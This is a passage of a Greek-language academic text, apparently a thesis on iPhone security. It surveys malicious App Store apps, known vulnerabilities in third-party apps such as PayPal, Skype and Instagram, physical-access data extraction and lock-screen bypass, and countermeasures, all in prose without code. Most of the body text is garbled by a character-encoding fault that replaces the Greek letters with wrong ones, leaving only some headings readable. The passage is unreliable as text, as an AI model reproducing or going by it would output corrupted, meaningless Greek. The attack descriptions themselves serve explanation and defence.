εθαξκνγψλ.  

Χζηφζν, αλ έλαο εηζβνιέαο ελδηαθέξεηαη γηα ηε ζηφρεπζε ελφο ζπγθεθξηκέλνπ ρξήζηε, ε 

επίζεζε κέζσ ηνπ App Store, θάλεη ην δήηεκα πην ζχλζεην. Ο εηζβνιέαο ζα πξέπεη λα 

δεκηνπξγήζεη κηα θαθφβνπιε εθαξκνγή, λα θαηαθέξεη λα μεπεξάζεη ηνλ έιεγρν ηεο Apple, 

θαη ζηε ζπλέρεηα λα βξεη έλαλ ηξφπν γηα λα δειεάζεη ην ρξήζηε ζηφρν λα εγθαηαζηήζεη ηελ 

εθαξκνγή ζηε ζπζθεπή ηνπ.  

Έλαο εηζβνιέαο ζα κπνξνχζε λα ζπλδπάζεη θάπνηα θνηλσληθή κεραληθή (έλλνηα πνπ 

πεξηέγξαςε πξψηνο ν Kevin Mitnick) , ίζσο θαη κε ηε ιήςε ησλ δεδνκέλσλ απφ ηε ζειίδα 

ζην Facebook ηνπ ρξήζηε θαη ζηε ζπλέρεηα ηελ δφκεζε κηαο εθαξκνγήο πξνζαξκνζκέλεο 

ζηηο ζπκπάζεηεο θαη αληηπάζεηεο ηνπ ζηφρνπ.  

Εηθόλα 54 Σν  πεξηβάιινλ ιεηηνπξγίαο ηνπ 

InstaStock 
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Ζ εθαξκνγή ζα κπνξνχζε ζηε ζπλέρεηα λα αλαξηεζεί πξνο πψιεζε, κε έλα itms: / /link πνπ 

απνζηέιιεηαη πξνο ηνλ επηδησθφκελν ζηφρν κέζσ ηνπ ηνίρνπ ηνπ Facebook.  ζν απηά θαη 

αλ είλαη επθάληαζηα ζελάξηα πξνο ην παξφλ είλαη πηζαλφλ φηη ζα δνχκε θάηη παξφκνην ζην 

φρη πνιχ καθξηλφ κέιινλ. 
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Αντιμετώπιςη κακόβουλων εφαρμογών από το App Store – Αντίμετρα 
 

Σν νπζηψδεο κε ηα παξαδείγκαηα Handy light θαη InstaStock είλαη φηη αλεπηζχκεηε ή 

θαθφβνπιε ζπκπεξηθνξά κπνξεί λα έρεη δηαθχγεη ηνπ ειέγρνπ θαη λα βξίζθεηαη ζε 

εθαξκνγέο ηνπ App Store ηεο Apple .Ζ Apple ζα πξνηηκνχζε νη πειάηεο ηεο λα ζεσξνχλ φηη 

δελ ππάξρεη θαλέλαο θίλδπλνο γηα νηηδήπνηε θαηεβάδνπλ απφ ην App Store, σζηφζν, θάπνηνη, 

πξάγκαηη κηθξνί θίλδπλνη ππάξρνπλ. 

Σα κέηξα πξνζηαζίαο πνπ κπνξνχλ λα ηεζνχλ ζε εθαξκνγή, θαη ζρεηίδνληαη κε αλεπηζχκεηεο 

ή θαθφβνπιεο εθαξκνγέο πνπ θηινμελνχληαη ζην App Store είλαη ειάρηζηα ή θαη θαλέλα. 

Γεδνκέλνπ φηη ε Apple δελ επηηξέπεη πξντφληα αζθαιείαο πνπ ελζσκαηψλνληαη κε ην 

ιεηηνπξγηθφ ζχζηεκα λα εγθαηαζηαζνχλ ζηηο ζπζθεπέο ηεο, δελ έρεη βξεζεί αθφκε θάπνηνο 

ηξφπνο γηα ηελ αλάπηπμε θαη εηζαγσγή απηψλ ησλ πξντφλησλ ζηελ αγνξά.  

Δπηπιένλ, ιίγα πξντφληα ή εξγαιεία έρνπλ αλαπηπρζεί γηα ηελ αζθάιεηα ηνπ iOS ελ γέλεη 

(γηα ρξήζε ζε ζπζθεπέο, ζην δίθηπν, ή κε άιιν ηξφπν), ιφγσ θαη ηνπ κηθξνχ αξηζκνχ ησλ 

πεξηζηαηηθψλ αιιά θαη ηεο πνιππινθφηεηαο ηεο επηηπρνχο έληαμεο ηέηνησλ πξντφλησλ ζηελ 

αγνξά ηνπ iOS. Απηφ ζεκαίλεη φηη, σο επί ην πιείζηνλ, δελ κπνξείηε λα πξνζηαηεχζεηε ηνλ 

εαπηφ ζαο απφ θαθφβνπιεο εθαξκνγέο πνπ θηινμελνχληαη ζην App Store, εθηφο απφ ηελ 

πξνζεθηηθή εμέηαζε θαηά ηελ αγνξά θαη εγθαηάζηαζε εθαξκνγψλ.  

Δθαξκνγέο απφ αμηφπηζηνπο πξνκεζεπηέο είλαη επίζεο πηζαλφ λα είλαη αζθαιείο θαη κπνξεί 

πηζαλφηαηα λα εγθαηαζηαζνχλ ρσξίο πξφβιεκα. Γηα ηνπο ρξήζηεο πνπ απνζεθεχνπλ 

εμαηξεηηθά επαίζζεηα δεδνκέλα ζηηο ζπζθεπέο ηνπο, ζπληζηάηαη λα εγθαζηζηνχλ κφλν ηηο 

πξαγκαηηθά απαξαίηεηεο εθαξκνγέο, θαη κφλν απφ αμηφπηζηνπο πσιεηέο, ζε φπνην βαζκφ 

είλαη δπλαηφλ.  

Ηζρχεη πάληα ν γεληθφο θαλφλαο ηεο εγθαηάζηαζεο ηνπ πην πξφζθαηνπ firmware, δεδνκέλνπ 

φηη νη λέεο εθδφζεηο ηνπ firmware ζπρλά επηιχνπλ δεηήκαηα πνπ ζα κπνξνχζαλ λα 

ρξεζηκνπνηεζνχλ απφ θαθφβνπια πξνγξάκκαηα γηα λα απνθηήζνπλ απμεκέλα δηθαηψκαηα ζε 

κηα ζπζθεπή 
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Ευπαθείσ Εφαρμογέσ: Bundled και Τρίτων 
 

ηηο αξρέο ηεο δεθαεηίαο 2000-2009, ε πην δηαδεδνκέλε ηερληθή επίζεζεο ήηαλ ε 

απνκαθξπζκέλε εθκεηάιιεπζε επηξξεπνχο θψδηθα ζπληήξεζεο δηθηχνπ. ε ζρεδφλ 

εβδνκαδηαία βάζε, θαηλφηαλ πσο εκθαλίδνληαλ λέα bugs απνκαθξπζκέλεο εθηέιεζεο ζε 

κεξηθέο δεκνθηιείο ππεξεζίεο δηθηχνπ Unix ή Windows. 

Δθείλν ηνλ θαηξφ, ιεηηνπξγηθά ζπζηήκαηα πνπ πξννξίδνληαλ γηα θαηαλαισηέο, φπσο ηα 

Windows XP, δελ πεξηείραλ θάπνην firewall ή δελ είραλ ελεξγνπνηεκέλεο ζπγθεθξηκέλεο 

ππεξεζίεο δηθηχνπ σο πξνεπηινγή. Απηφο ν ζπλδπαζκφο παξαγφλησλ νδήγεζε ζε ζρεηηθά 

εχθνιε παξαβίαζε ζε απζαίξεηα ζπζηήκαηα κέζσ δηθηχνπ. 

Καζψο ν θαηξφο πεξλνχζε, νη δηαλεκεηέο άξρηζαλ λα παίξλνπλ ηελ αζθάιεηα ζηα ζνβαξά θαη 

λα επελδχνπλ ζην θιείδσκα θψδηθα ππεξεζηψλ δηθηχνπ, αιιά θαη ησλ πξνεπηιεγκέλσλ 

ξπζκίζεσλ γηα client ιεηηνπξγηθά ζπζηήκαηα. ηα ηέιε ηεο δεθαεηίαο, ε αζθάιεηα ζε απηφλ 

ηνλ ηνκέα είρε πάξεη κία αμηνζεκείσηε ζηξνθή πξνο ην θαιχηεξν. Αληηδξψληαο ζε απηήλ ηελ 

αχμεζε ησλ κέηξσλ αζθαιείαο, ε έξεπλα γηα εππάζεηεο άξρηζε λα κεηαηνπίδεηαη ζε άιινπο 

ηνκείο, ζπκπεξηιακβαλνκέλσλ, θαηά θχξην ιφγν, client-side εππαζεηψλ. Απφ ηα κέζα ηεο 

δεθαεηίαο θαη κεηά, έλαο κεγάινο αξηζκφο πξνβιεκάησλ αλαθαιχθζεθαλ ζε δεκνθηιείο 

εθαξκνγέο φπσο ν Internet Explorer, ην Microsoft Office, ην Adobe Acrobat Reader θαη 

Flash, ην Java runtime θαη ην QuickTime. Σέηνηνπ είδνπο πξνβιήκαηα θαη εππάζεηεο ήηαλ 

ππνθείκελα ζπρλήο εθκεηάιιεπζεο γηα ηελ εμάπισζε malware ή ηελ επίζεζε ζε 

ζπγθεθξηκέλνπο ρξεζηέο φπσο κε ηελ πεξίπησζε ηνπ spear phishing ή επηζέζεηο Advanced 

Persistent Thread (APT). 

Αμηνζεκείσην είλαη, φηη ζε θηλεηέο πιαηθφξκεο φπσο ην iOS, παξφηη δελ έρνπλ παξαηεξεζεί 

ζρεδφλ θαζφινπ επηζέζεηο απνκαθξπζκέλνπ δηθηχνπ, δελ έρεη γίλεη νπζηαζηηθή έξεπλα ζηνλ 

ηνκέα ηνπ ξίζθνπ ησλ εθαξκνγψλ ηξίησλ. Απηφ δελ ζεκαίλεη πσο δελ έρεη γίλεη έξεπλα γηα 

ηελ εππάζεηα εθαξκνγψλ, θαζψο αξθεηά δεηήκαηα έρνπλ αλαγλσξηζηεί ζε εθαξκνγέο πνπ 

είλαη bundled κε ην iOS, ζπκπεξηιακβαλνκέλνπ, ελφο ζεκαληηθνχ αξηζκνχ εππαζεηψλ κε ηνλ 

Safari Browser. Μπνξνχκε φκσο λα πνχκε φηη, γηα εθαξκνγέο πνπ δελ έξρνληαη καδί κε ην 

ιεηηνπξγηθφ ζχζηεκα, ειάρηζηα ηέηνηα δεηήκαηα έρνπλ βξεζεί θαη δεκνζηνπνηεζεί. Απηφ 

κπνξεί λα εμεγεζεί, ελ κέξεη, απφ ην γεγνλφο φηη ιίγεο εθαξκνγέο ηξίησλ έρνπλ πηνζεηεζεί 

ηφζν θαζνιηθά φζν, γηα παξάδεηγκα, ην Flash ζηα Windows, ην νπνίν ζεκαίλεη πσο δελ 

ππάξρεη θίλεηξν γηα λα αθηεξσζεί ρξφλνο ζε απηφλ ηνλ ηνκέα. 

ε θάζε πεξίπησζε, νη εππάζεηεο ησλ εθαξκνγψλ ιεηηνπξγνχλ σο έλαο απφ ηνπο πην 

πξαθηηθνχο ηξφπνπο γηα ηελ απφθηεζε κε εγθεθξηκέλεο πξφζβαζεο ζε ζπζθεπέο βαζηζκέλεο 

ζε iOS. Με ηελ πάξνδν ησλ ρξφλσλ, έρεη αλαθαιπθζεί θαη αλαθεξζεί έλαο αξηζκφο 

εππαζεηψλ πνπ αθνξνχλ εθαξκνγέο ηνπ iOS. Με κία γξήγνξε αλαδήηεζε ζην Internet, 

εκθαλίδνληαη πεξίπνπ 100 ηέηνηεο εππάζεηεο. Έλα κεγάιν πνζνζηφ απηψλ, πεξίπνπ 40%, 

ζρεηίδνληαη κε ηνλ έλαλ ή κε ηνλ άιινλ ηξφπν κε ηνλ Safari Browser. Καηά ηελ εμέηαζε 

κνλάρα ηνπ Safari, βξίζθνπκε πεξίπνπ 30 κε 40 δηαθνξεηηθέο αδπλακίεο πνπ κπνξνχλ λα 

γίλνπλ ζηφρνο γηα ηελ άληιεζε πιεξνθνξηψλ ή ηελ απφθηεζε πξφζβαζεο ζε ζπζθεπή 

(αλάινγα κε ηελ έθδνζε iOS πνπ ηξέρεη ζηελ ζπζθεπή). Πνιιέο απφ απηέο ηηο αδπλακίεο 

είλαη θξίζηκεο θαη επηηξέπνπλ ηελ απζαίξεηε εθηέιεζε θψδηθα φηαλ ηηο εθκεηαιιεχνληαη. 

Δθηφο απφ ηηο εθαξκνγέο πνπ έξρνληαη καδί κε ην iOS σο πξνεπηινγή, νξηζκέλεο εππάζεηεο 

έρνπλ αλαγλσξηζηεί θαη αλαθεξζεί πσο επεξεάδνπλ εθαξκνγέο ηξίησλ. Σν 2010, κία 

εππάζεηα, θαηαγεγξακκέλε πιένλ σο CVE-2010-2913, αλαθέξζεθε φηη επεξέαδε ηηο εθδφζεηο 

2.0.2 θαη θάησ ηεο εθαξκνγήο Citi Mobile. Ζ νπζία ηνπ επξήκαηνο ήηαλ φηη ε εθαξκνγή 

απνζήθεπε ηνπηθά (ζηελ ζπζθεπή) επαίζζεηεο ηξαπεδηθέο πιεξνθνξίεο. Αλ ε ζπζθεπή ραζεί, 

θιαπεί ή πξνζβιεζεί απνκαθξπζκέλα, ηφηε φιεο νη επαίζζεηεο πιεξνθνξίεο κπνξνχλ λα 

ιεθζνχλ. Απηή ε εππάζεηα κπνξεί λα κελ επηηξέπεη απνκαθξπζκέλε πξφζβαζε θαη λα είλαη 

ρακειήο επηθηλδπλφηεηαο, βνεζά φκσο λα θαλεί φηη νη εθαξκνγέο ηξίησλ γηα ην iOS, φπσο 
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θαη νη αληίζηνηρεο γηα επηηξαπέδηνπο ππνινγηζηέο, κπνξεί λα πάζρνπλ απφ θαθή ζρεδίαζε ζε 

ζέκαηα αζθαιείαο. 

Μία άιιε εππάζεηα ζε εθαξκνγή ηξίησλ, θαηαγεγξακκέλε σο CVE-2010-4211, αλαθέξζεθε 

ηνλ Ννέκβξην ηνπ 2010. Απηή ηελ θνξά, ε εθαξκνγή PayPal αλαθέξζεθε σο επεξεαζκέλε 

απφ έλα πξφβιεκα επαιήζεπζεο ηεο άδεηαο X.509. Οπζηαζηηθά, ε εθαξκνγή δελ επαιήζεπε 

αλ νη ηηκέο ηνπ server hostname ηαίξηαδαλ κε ην ζεκαηηθφ πεδίν ζηα πηζηνπνηεηηθά X.509 πνπ 

είραλ ιεθζεί γηα ζπλδέζεηο SSL. Απηή ε αδπλακία επέηξεπε ζε έλαλ επηηηζέκελν κε 

πξφζβαζε ηνπηθνχ δηθηχνπ λα ρξεζηκνπνηήζεη ηελ ηερληθή man-in-the-middle ζηνπο 

ρξήζηεο, πξνθεηκέλνπ λα απνθηήζεη ή λα κεηαπνηήζεη δεδνκέλα πνπ ζηέιλνληαλ απφ ή πξνο 

ηελ εθαξκνγή. Απηή ε εππάζεηα ήηαλ πνιχ πην ζνβαξή απφ ηελ εππάζεηα Citi Mobile, δηφηη ν 

θαζέλαο κε πξφζβαζε ζε ηνπηθφ δίθηπν κπνξνχζε λα ηελ εθκεηαιιεπηεί ρσξίο λα πξέπεη λα 

πάξεη πξψηα ηνλ έιεγρν ηεο εθαξκνγήο ή ηεο ζπζθεπήο. Ζ αλάγθε γηα πξφζβαζε ζε ηνπηθφ 

δίθηπν φκσο, έθαλε ηελ εθκεηάιιεπζε ηνπ ζέκαηνο δχζθνιε ζηελ πξάμε. 

Σνλ επηέκβξην ηνπ 2011, κία εππάζεηα scripting αλαθέξζεθε πσο επεξεάδεη ηελ εθαξκνγή 

Skype, απφ ηελ έθδνζε 3.0.1 θαη θάησ. Απηή ε εππάζεηα επέηξεςε ζε έλαλ επηηηζέκελν λα 

πξνζπειάζεη ην ζχζηεκα αξρείσλ ρξεζηψλ ηεο εθαξκνγήο. Ο εηζβνιέαο εκθχηεπζε θψδηθα 

JavaScript ζην πεδίν “Full Name” κελπκάησλ πνπ ζηάιζεθαλ ζηνπο ρξήζηεο. Καηά ηελ 

παξαιαβή ησλ κελπκάησλ, ν εκθπηεπκέλνο θψδηθαο εθηεινχληαλ θαη, φηαλ ζπλδπαδφηαλ κε 

ην δήηεκα πνπ αθνξνχζε ηελ δηαρείξηζε ησλ ζρεδίσλ URI, επέηξεπε ζηνλ εηζβνιέα λα 

πθαξπάμεη αξρεία, φπσο ε βάζε δεδνκέλσλ κε ηηο επαθέο, θαη λα ηα αλεβάζεη ζε έλα 

απνκαθξπζκέλν ζχζηεκα. Απηή ε εππάζεηα έρεη ηδηαίηεξν ελδηαθέξνλ, δηφηη είλαη έλα απφ ηα 

πξψηα παξαδείγκαηα κίαο εππάζεηαο εθαξκνγήο ηξίησλ πνπ κπνξνχζε λα γίλεη πξντφλ 

εθκεηάιιεπζεο απνκαθξπζκέλα, ρσξίο ηελ αλάγθε ηνπηθνχ δηθηχνπ ή θπζηθήο επαθήο κε 

ηελ ζπζθεπή. 

Σνλ Απξίιην ηνπ 2012, αλαθέξζεθε φηη πνιιαπιέο δεκνθηιείο εθαξκνγέο γηα ην iOS, 

ζπκπεξηιακβαλνκέλεο ηεο εθαξκνγήο Facebook θαη Dropbox, επεξεάδνληαλ απφ κία 

εππάζεηα πνπ νδεγνχζε ζηελ ηνπηθή απνζήθεπζε ηηκψλ πνπ ρξεζηκνπνηνχληαλ γηα ηελ 

απζεληηθνπνίεζε ρσξίο πεξαηηέξσ πξνζηαζία. ε εηδηθή επίδεημε, έλαο επηηηζέκελνο 

κπνξνχζε λα πξνζδεζεί ζε κία ζπζθεπή ρξεζηκνπνηψληαο κία εθαξκνγή φπσο ν iExplorer, 

λα πεξηεγεζεί ζην ζχζηεκα αξρείσλ ηεο ζπζθεπήο, θαη λα αληηγξάςεη φηη αξρεία επηζπκνχζε. 

Ο επηηηζέκελνο κπνξνχζε κε απηφλ ηνλ ηξφπν λα αληηγξάςεη ηα αξρεία απηά ζε θάπνηα άιιε 

ζπζθεπή, ρξεζηκνπνηψληαο ηα δηαπηζηεπηήξηα πνπ είρε «δαλεηζηεί». 

Σνλ Ννέκβξην ηνπ 2012, έγηλε γλσζηφ φηη ε έθδνζε 3.1.2 ηεο εθαξκνγή Instagram γηα iOS 

επεξεαδφηαλ απφ κία εππάζεηα απνθάιπςεο πιεξνθνξηψλ. Απηή ε εππάζεηα επέηξεπε ζε 

έλαλ εηζβνιέα λα ρξεζηκνπνηήζεη ηελ ηερληθή man-in-the-middle ζηελ ζχλδεζε δηθηχνπ ηεο 

ζπζθεπήο, ψζηε λα ζπιιάβεη δεδνκέλα ζχλδεζεο ηα νπνία κπνξνχζαλ λα 

επαλαρξεζηκνπνηεζνχλ γηα ηελ αλάθηεζε ή ηε δηαγξαθή δεδνκέλσλ. 

Σνλ Ηαλνπάξην ηνπ 2013, έγηλε γλσζηφ φηη ε έθδνζε 3.00 ηεο εθαξκνγήο ESPN ScoreCenter 

γηα iOS επεξεαδφηαλ κε δπν ηξφπνπο: κία εππάζεηα XSS, θαζψο επίζεο θαη κία εππάζεηα 

απζεληηθνπνίεζεο cleartext. ηελ πξάμε, ε εθαξκνγή δελ επηθχξσλε ηελ είζνδν ηνπ ρξήζηε, 

ελψ παξάιιεια κεηαβίβαδε ρσξίο θξππηνγξάθεζε επαίζζεηεο ηηκέο, ζπκπεξηιακβαλνκέλσλ 

ησλ usernames θαη passwords, κέζσ δηθηχνπ. 

Αμίδεη λα αλαθέξνπκε φηη, ν έιεγρνο κηαο εθαξκνγήο, είηε απηή είλαη ηξίηνπ θαηαζθεπαζηή 

είηε έξρεηαη καδί κε ην iOS, είλαη ν κηζφο δξφκνο γηα λα hackάξνπκε έλα iPhone. Δμαηηίαο 

πεξηνξηζκψλ πνπ ζέηνληαη απφ ην Sandbox εθαξκνγψλ θαη ηελ επαιήζεπζε ππνγεγξακκέλνπ 

θψδηθα, ε απφθηεζε πιεξνθνξηψλ απφ θάπνηα ζπζθεπή είλαη πην δχζθνιε. Γηα πιήξε 

πξφζβαζε, νη επηηηζέκελνη πξέπεη λα ζπλδπάζνπλ επηζέζεηο ζε επίπεδν εθαξκνγψλ κε 

εθκεηάιιεπζε εππαζεηψλ ζην επίπεδν ηνπ kernel. ια απηά αλεβάδνπλ αξθεηά ηνλ πήρε 

δπζθνιίαο γηα φζνπο επηζπκνχλ λα «ζπάζνπλ» ην iOS. Ο κέζνο επηηηζέκελνο ζα επηρεηξήζεη, 

θαηά πάζα πηζαλφηεηα, λα επαλαπξνζδηνξίζεη εππάζεηεο ζε επίπεδν kernel, ελψ αληίζεηα, νη 
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πην έκπεηξνη ζα επηρεηξήζνπλ λα απνθαιχςνπλ εππάζεηεο ζε επίπεδν kernel πάλσ ζε 

δεηήκαηα πνπ δελ έρνπλ αθφκα αλαγλσξηζηεί. ε θάζε πεξίπησζε, ην iOS, κε ηηο πάλσ απφ 

800.000 εθαξκνγέο πνπ είλαη δηαζέζηκεο γηα ιήςε απφ ην App Store, παξέρνπλ κία αξθεηά 

κεγάιε επηθάλεηα γηα επίζεζε, ψζηε λα εμαζθαιίδνπλ φηη ε εθκεηάιιεπζε εππαζεηψλ ζε 

εθαξκνγέο ζα ζπλερίζεη λα είλαη έλαο αμηφπηζηνο ηξφπνο γηα λα απνθηήζεη θαλείο αξρηθή 

πξφζβαζε, ζε ζπζθεπέο βαζηζκέλεο ζε iOS, γηα αξθεηφ θαηξφ αθφκα. 

 

Αντιμετώπιςη ευπαθειών εφαρμογών 
ηελ πεξίπησζε ησλ εππαζεηψλ ζε εθαξκνγέο, ηα αληίκεηξα γηα ηελ θαηαπνιέκεζε ηνπο 

είλαη κνλάρα ηα βαζηθά. Να έρεηε ηελ ζπζθεπή ζαο ελεκεξσκέλε ζηελ ηειεπηαία έθδνζε 

iOS θαη λα ελεκεξψλεηε ηηο εθαξκνγέο ζαο ζηηο πην πξφζθαηεο εθδφζεηο. Γεληθά, θαζψο 

αλαθέξνληαη εππάζεηεο ζε εθαξκνγέο, νη πάξνρνη ηηο ελεκεξψλνπλ θαη θπθινθνξνχλ 

δηνξζσκέλεο εθδφζεηο. Μπνξεί λα είλαη ειαθξψο δχζθνιν λα παξαθνινπζείηε πφηε 

αλαθαιχπηνληαη πξνβιήκαηα ή πφηε απηά ιχλνληαη κέζσ ελεκεξψζεσλ, νπφηε ε πην 

αζθαιήο επηινγή είλαη λα θξαηάηε ελεκεξσκέλν ην iOS θαη φιεο ηηο εγθαηεζηεκέλεο 

εθαξκνγέο ζε φζν πην πξφζθαηεο εθδφζεηο κπνξείηε. 

 

Φυςική Πρόςβαςη 
 

Κακία ζπδήηεζε γχξσ απφ ην iPhone hacking δελ ζα ήηαλ πιήξεο ρσξίο ηελ κειέηε ησλ 

επηινγψλ πνπ είλαη δηαζέζηκεο ζε έλαλ επηηηζέκελν πνπ έρεη ηε  θπζηθή θαηνρή κηαο 

ζπζθεπήο. Πξάγκαηη, απηφ ην ζέκα είλαη πιένλ πνιχ πην ζρεηηθφ απ’ φηη ζην παξειζφλ, 

θαζψο κε ηελ κεηαθίλεζε ζε εμειηγκέλα smartphones φπσο είλαη ην iPhone, νινέλα θαη 

πεξηζζφηεξα επαίζζεηα δεδνκέλα πνπ πξνεγνπκέλσο βξίζθνληαλ απνζεθεπκέλα θαη 

επεμεξγαδφληνπζαλ απφ επηηξαπέδηνπο ππνινγηζηέο ή laptops, πιένλ βξίζθνληαη έμσ απφ ηα 

αζθαιή φξηα ηνπ γξαθείνπ ή ηνπ ζπηηηνχ θαη ζε φιεο ηηο πηπρέο ηεο θαζεκεξηλήο καο δσήο. 

Ο κέζνο άλζξσπνο, εξγαδφκελνο ή εξγνδφηεο βξίζθεηαη θνιιεκέλνο ζπλήζσο ζην 

smartphone ηνπ, είηε ειέγρνληαο θαη ζηέιλνληαο email είηε παξαιακβάλνληαο θαη 

επεμεξγαδφκελνο έγγξαθα. Αλάινγα κε ην άηνκν θαη ηνλ ξφιν ηνπ, νη πιεξνθνξίεο πνπ 

ππνβάιινληαη ζε επεμεξγαζία, απφ επαθέο θαη έγγξαθα PowerPoint κέρξη επαίζζεηα email, 

κπνξνχλ λα δεκηνπξγήζνπλ πξφβιεκα ζηνλ ηδηνθηήηε ηνπο αλ πέζνπλ ζηα ιάζνο ρέξηα. Σελ 

ίδηα ζηηγκή, απηέο νη πιεξνθνξίεο κεηαθέξνληαη ζε θάζε είδνπο θαηάζηαζε θαη κέξνο πνπ 

κπνξεί θαλείο λα θαληαζηεί. Γηα παξάδεηγκα, δελ είλαη αζπλήζηζην λα δεη θαλείο θάπνην 

δηεπζχλσλ ζηέιερνο λα ζηέιλεη ή λα ιακβάλεη email φζν βξίζθεηαη ζε δείπλν κε πειάηεο. 

Λίγν παξαπάλσ θξαζί θαη ην θηλεηφ κπνξεί λα μεραζηεί ζην ηξαπέδη ή λα ην θιέςεη θάπνηνο 

θαθφβνπινο ζε κία ζηηγκή απξνζεμίαο. 

Μφιηο κηα ζπζθεπή πέζεη ζηα ρέξηα θάπνηνπ εηζβνιέα, ζέιεη κφιηο ιίγα ιεπηά γηα λα 

απνθηήζεη πξφζβαζε ζην ζχζηεκα αξρείσλ θαη ζηελ ζπλέρεηα ζηα επαίζζεηα δεδνκέλα πνπ 

βξίζθνληαη απνζεθεπκέλα ζηελ ζπζθεπή.  

Γηα παξάδεηγκα, ζηελ παξνπζίαζε απφ εξεπλεηέο ζην Ηλζηηηνχην Fraunhofer γηα ηελ Αζθαιή 

Σερλνινγία Πιεξνθφξεζεο (SIT – Secure Information Technology), ηνλ Φεβξνπάξην ηνπ 

2011, πεξηγξάθεθαλ ηα βήκαηα πνπ απαηηνχληαη γηα λα απνθηήζεη θαλείο πξφζβαζε ζε 

επαίζζεηνπο θσδηθνχο πνπ βξίζθνληαη απνζεθεπκέλνη ζε iPhone. Απηή ε δηαδηθαζία, ζε φιε 

ηεο ηελ έθηαζε, δηαξθεί πεξίπνπ 6 ιεπηά θαη πεξηιακβάλεη ηελ ρξήζε jailbreak θαηά ηελ 

εθθίλεζε γηα λα πάξεη θάπνηνο ηνλ έιεγρν ηεο ζπζθεπήο, ψζηε λα έρεη πξφζβαζε ζην 

ζχζηεκα αξρείσλ, αθνινπζνχκελε απφ ηελ εγθαηάζηαζε ελφο server SSH. Αθνχ δνζεί 

πξφζβαζε κέζσ SSH, αλεβαίλεη έλα script, ην νπνίν ρξεζηκνπνηψληαο κφλν ηηκέο πνπ έρνπλ 

παξζεί απφ ηελ ζπζθεπή, κπνξεί λα εθηειεζηεί ψζηε λα εληνπίζεη θαη παξαιάβεη θσδηθνχο 

πνπ βξίζθνληαη ζηελ ζπζθεπή. Απηή ε επίζεζε επηηξέπεη ζηνλ εηζβνιέα λα αλαθηήζεη 
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δηαπηζηεπηήξηα πνπ κπνξεί λα ρξεζηκνπνηήζεη γηα λα απνθηήζεη αθφκε βαζχηεξε πξφζβαζε 

ζε πξνζσπηθά ζηνηρεία πνπ αλήθνπλ ζηνλ θάηνρν ηεο ζπζθεπήο. πγθεθξηκέλεο ηηκέο πνπ 

κπνξνχλ λα αλαζπξζνχλ απφ ηελ ζπζθεπή, βαζίδνληαη, θαηά θχξην ιφγν, ζηελ έθδνζε iOS 

πνπ είλαη εγθαηεζηεκέλε. ε παιηφηεξεο εθδφζεηο, φπσο ε iOS 3.0, ζρεδφλ φιεο νη ηηκέο 

κπνξνχλ λα αλαζπξζνχλ απφ ηελ ζπζθεπή. ην iOS 5.0, ε Apple εηζήγαγε πεξαηηέξσ κέηξα 

αζθαιείαο γηα λα ειαρηζηνπνηήζεη ηνλ φγθν πιεξνθνξηψλ πνπ κπνξεί λα αλαζπξζεί. Παξφια 

απηά, πνιιέο ηηκέο είλαη αθφκα πξνζβάζηκεο θαη απηή ε κέζνδνο ζπλερίδεη λα είλαη έλα θαιφ 

παξάδεηγκα ηνπ ηη κπνξεί λα γίλεη φηαλ έλαο επηηηζέκελνο απνθηήζεη θπζηθή πξφζβαζε ζε 

έλα iPhone. 

Μία ελαιιαθηηθή θαη πηζαλά επθνιφηεξε πξνζέγγηζε γηα ηελ αλάθηεζε δεδνκέλσλ απφ έλα 

iPhone είλαη κηα εθαξκνγή φπσο ην iExplorer. Σν iExplorer παξέρεη κία εχθνιε ζηελ ρξήζε 

δηεπαθή point-and-click θαη κπνξεί λα ρξεζηκνπνηεζεί γηα πεξηήγεζε ζην ζχζηεκα αξρείσλ 

νπνηαζδήπνηε ζπζθεπήο ρξεζηκνπνηεί iOS. Μπνξείηε απιά λα ηελ εγθαηαζηήζεηε ζηνλ 

επηηξαπέδην ππνινγηζηή ζαο ή ην laptop ζαο, λα ζπλδέζεηε ην iPhone θαη λα αξρίζεηε λα 

πεηξάδεηε πξάγκαηα ζην ζχζηεκα αξρείσλ ηεο ζπζθεπήο. Αλ θαη δελ κπνξείηε λα έρεηε 

πιήξεο πξφζβαζε ζε θάζε κέξνο ηνπ ζπζηήκαηνο αξρείσλ, κπνξείηε λα βξείηε αξθεηά 

ελδηαθέξνληα δεδνκέλα ρσξίο λα πξέπεη λα πξνζθχγεηε ζε πην εμειηγκέλεο θαη ρξνλνβφξεο 

κεζφδνπο γηα ηελ απφθηεζε πεξαηηέξσ πξφζβαζεο. 

Μία ηειεπηαία πξνζέγγηζε πνπ κπνξεί λα απνδεηρζεί ε επθνιφηεξε φισλ, αλάινγα κε ηελ 

έθδνζε iOS, είλαη λα πεηξάμεηε ην θιείδσκα νζφλεο ηνπ iOS. Σνλ Ηαλνπάξην ηνπ 2013, 

δεκνζηεχηεθε κία ηερληθή γηα ην μεπέξαζκα ηεο θιεηδσκέλεο νζφλεο ζε εθδφζεηο iOS 6.0.1 

κέρξη θαη 6.1. Ζ ηερληθή πνπ πεξηγξάθεθε, πεξηιάκβαλε ην πάηεκα πιεζψξαο θνπκπηψλ θαη 

θηλήζεσλ ζηελ νζφλε, κε ηειηθφ απνηέιεζκα λα δίλεηαη πξφζβαζε ζηελ εθαξκνγή. Απφ απηή 

ηελ νζφλε, ν επηηηζέκελνο κπνξεί λα εμεηάζεη επαθέο, ηζηνξηθφ θιήζεσλ, αθφκα θαη λα 

πξαγκαηνπνηήζεη θιήζεηο! 

 

Αντίμετρα Φυςικήσ Πρόςβαςησ  
 

ηελ πεξίπησζε επηζέζεσλ κε θπζηθή θαηνρή ηεο ζπζθεπήο, νη επηινγέο ζαο είλαη αξθεηά 

πεξηνξηζκέλεο, φζνλ αθνξά ηα αληίκεηξα. Ζ θχξηα άκπλα πνπ κπνξεί λα ρξεζηκνπνηεζεί 

ελάληηα ζε ηέηνηνπ είδνπο επίζεζεο, είλαη λα εμαζθαιίζεηε φηη φια ηα επαίζζεηα δεδνκέλα 

θαη πιεξνθνξίεο πνπ βξίζθνληαη ζηελ ζπζθεπή, είλαη θξππηνγξαθεκέλα. Οη επηινγέο γηα ηελ 

θξππηνγξάθεζε δεδνκέλσλ πεξηιακβάλνπλ ραξαθηεξηζηηθά πνπ παξέρνληαη απφ ηελ Apple, 

θαζψο επίζεο θαη ππνζηήξημε απφ εθαξκνγέο ηξίησλ.  

Δπηπξνζζέησο, ζπζθεπέο νη νπνίεο απνζεθεχνπλ επαίζζεηα δεδνκέλα θαη πιεξνθνξίεο, ζα 

